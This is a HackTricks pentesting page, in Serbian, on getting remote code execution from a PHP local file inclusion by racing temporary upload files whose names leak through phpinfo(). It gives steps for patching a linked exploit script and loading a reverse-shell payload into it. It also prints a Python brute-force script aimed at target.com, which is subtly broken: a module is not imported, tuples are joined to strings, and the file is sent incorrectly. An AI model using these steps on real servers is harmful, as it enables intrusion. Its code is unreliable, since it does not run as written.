tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Da biste iskoristili ovu ranjivost, potrebni su vam: LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Morate da ispravite exploit (promenite => u =>). Da biste to uradili, možete:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Morate promeniti i payload na početku eksploata (na primer, za php-rev-shell), REQ1 (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), i LFIREQ (ovo treba da upućuje na LFI ranjivost, tj.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Proverite dupli "%" kada eksploatišete null char)
Teorija
Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše.
Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan.
U Windows-u fajlovi se obično čuvaju u C:\Windows\temp\php
U linux-u ime fajla obično je random i nalazi se u /tmp. Pošto je ime nasumično, potrebno je izvući ime privremenog fajla iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti varijable $_FILES unutar sadržaja funkcije "phpconfig()".
phpinfo()
PHP koristi bafer od 4096B i kada je pun, on se šalje klijentu. Zatim klijent može slati puno velikih zahteva (koristeći velike heder-e) uploadujući php reverznu shell, čekati da prvi deo phpinfo() bude vraćen (gde je ime privremenog fajla) i pokušati da pristupi temp fajlu pre nego što php server obriše fajl eksploatišući LFI ranjivost.
Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.